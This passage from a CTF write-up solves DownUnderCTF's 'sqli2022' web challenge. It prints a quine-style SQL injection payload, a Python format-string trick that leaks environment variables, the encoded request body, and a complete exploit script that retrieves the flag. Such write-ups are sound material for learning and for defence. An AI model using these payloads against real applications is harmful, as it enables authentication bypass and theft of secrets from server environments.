 UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE(" UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$'), CHAR(92), CHAR());-- -",CHAR(39),CHAR(34)),CHAR(36)," UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$'), CHAR(92), CHAR());-- -"), CHAR(92), CHAR());-- -

 >>> # Line wrapped password for maximum headache potential
 >>> from textwrap import wrap
 >>> print("\n".join(wrap(password)))
 UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,
46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,
105,114,111,110,91,70,76,65,71,93,125,34,39),
REPLACE(REPLACE(REPLACE(" UNION SELECT CHAR(123,112,111,115,116,46,95,
95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,1
11,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39),
REPLACE(REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$'),
CHAR(92), CHAR());-- -",CHAR(39),CHAR(34)),CHAR(36)," UNION SELECT CHA
R(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,
111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,9
1,70,76,65,71,93,125,34,39),
REPLACE(REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$'),
CHAR(92), CHAR());-- -"), CHAR(92), CHAR());-- -

>>> # yeet
>>> query(username=username, password=password)
Query: SELECT * FROM users WHERE username = '{post.__init__.__globals__[os].environ[FLAG]}"\'' AND password = ' UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE(" UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE(\'$\',CHAR(39),CHAR(34)),CHAR(36),\'$\'), CHAR(92), CHAR());-- -",CHAR(39),CHAR(34)),CHAR(36)," UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE(\'$\',CHAR(39),CHAR(34)),CHAR(36),\'$\'), CHAR(92), CHAR());-- -"), CHAR(92), CHAR());-- -'
Database result: ('{post.__init__.__globals__[os].environ[FLAG]}"\'', ' UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE(" UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE(\'$\',CHAR(39),CHAR(34)),CHAR(36),\'$\'), CHAR(92), CHAR());-- -",CHAR(39),CHAR(34)),CHAR(36)," UNION SELECT CHAR(123,112,111,115,116,46,95,95,105,110,105,116,95,95,46,95,95,103,108,111,98,97,108,115,95,95,91,111,115,93,46,101,110,118,105,114,111,110,91,70,76,65,71,93,125,34,39), REPLACE(REPLACE(REPLACE(\'$\',CHAR(39),CHAR(34)),CHAR(36),\'$\'), CHAR(92), CHAR());-- -"), CHAR(92), CHAR());-- -')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "app_playground.py", line 31, in query
    print(f"Welcome back {username}! The flag is in FLAG.".format(username=username))
KeyError: 'post'

Perfect! Well, almost perfect. Our local playground doesn’t support the environment leaker in use, but we already know it works from our experimentation in the Python debugger from earlier.

All that’s left to do is to throw it at the challenge server:

>>> import requests

>>> r = requests.post("https://web-sqli2022-85d13aec009e.2022.ductf.dev/",
... data={"username": username, "password": password})

>>> # The POST body sent by requests. Ew.
>>> print("\n".join(wrap(r.request.body)))
username=%7Bpost.__init__.__globals__%5Bos%5D.environ%5BFLAG%5D%7D%22%
27&password=+UNION+SELECT+CHAR%28123%2C112%2C111%2C115%2C116%2C46%2C95
%2C95%2C105%2C110%2C105%2C116%2C95%2C95%2C46%2C95%2C95%2C103%2C108%2C1
11%2C98%2C97%2C108%2C115%2C95%2C95%2C91%2C111%2C115%2C93%2C46%2C101%2C
110%2C118%2C105%2C114%2C111%2C110%2C91%2C70%2C76%2C65%2C71%2C93%2C125%
2C34%2C39%29%2C+REPLACE%28REPLACE%28REPLACE%28%22+UNION+SELECT+CHAR%28
123%2C112%2C111%2C115%2C116%2C46%2C95%2C95%2C105%2C110%2C105%2C116%2C9
5%2C95%2C46%2C95%2C95%2C103%2C108%2C111%2C98%2C97%2C108%2C115%2C95%2C9
5%2C91%2C111%2C115%2C93%2C46%2C101%2C110%2C118%2C105%2C114%2C111%2C110
%2C91%2C70%2C76%2C65%2C71%2C93%2C125%2C34%2C39%29%2C+REPLACE%28REPLACE
%28REPLACE%28%27%24%27%2CCHAR%2839%29%2CCHAR%2834%29%29%2CCHAR%2836%29
%2C%27%24%27%29%2C+CHAR%2892%29%2C+CHAR%28%29%29%3B--+-%22%2CCHAR%2839
%29%2CCHAR%2834%29%29%2CCHAR%2836%29%2C%22+UNION+SELECT+CHAR%28123%2C1
12%2C111%2C115%2C116%2C46%2C95%2C95%2C105%2C110%2C105%2C116%2C95%2C95%
2C46%2C95%2C95%2C103%2C108%2C111%2C98%2C97%2C108%2C115%2C95%2C95%2C91%
2C111%2C115%2C93%2C46%2C101%2C110%2C118%2C105%2C114%2C111%2C110%2C91%2
C70%2C76%2C65%2C71%2C93%2C125%2C34%2C39%29%2C+REPLACE%28REPLACE%28REPL
ACE%28%27%24%27%2CCHAR%2839%29%2CCHAR%2834%29%29%2CCHAR%2836%29%2C%27%
24%27%29%2C+CHAR%2892%29%2C+CHAR%28%29%29%3B--+-%22%29%2C+CHAR%2892%29
%2C+CHAR%28%29%29%3B--+-

>>> # πŸ₯³
>>> print(r.text)
Welcome back DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}"'! The flag is in FLAG.

And we have our well earned flag πŸŽ‰

Exploit

A minimal exploit is as follows, totally understating the difficulty of this challenge:

#!/usr/bin/env python3
import requests


def repr_quine(data):
    data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
    blob = data.replace("'", '"').replace('$$', "'$'")
    data = data.replace('$$', f'"{blob}"')
    return data


def exploit():
    # Set the username to leak FLAG via the format string bug
    envleak = "{post.__init__.__globals__[os].environ[FLAG]}"
    username = envleak + "\"'"

    # Set the password to do a quine-y injection of the above
    # username alongside itself
    password = f" UNION SELECT CHAR({','.join(str(ord(c)) for c in username)}), $$;-- -"
    password = repr_quine(password)

    # Send to the challenge server
    r = requests.post(url="https://web-sqli2022-85d13aec009e.2022.ductf.dev/",
                      data={
                          "username": username,
                          "password": password
                      })

    # Flag get
    print(r.text)


if __name__ == "__main__":
    exploit()
% ./exploit.py
Welcome back DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}"'! The flag is in FLAG.

Conclusion

This was a fantastic challenge with multiple layers which almost could have stood as challenges on their own.

  1. Performing a meaningful SQL injection despite repr()
  2. Performing an SQL injection that uses a quine to defeat the “Is what came back from the database what you originally sent?” protection, made extra painful due to the repr() in the middle of it all
  3. Leaking environment variables using Python format string exploitation

Thanks again to @hash_kitten for the challenge, and to the organisers of DownUnderCTF for another amazing contest.

Until next time!

https://twitter.com/justinsteven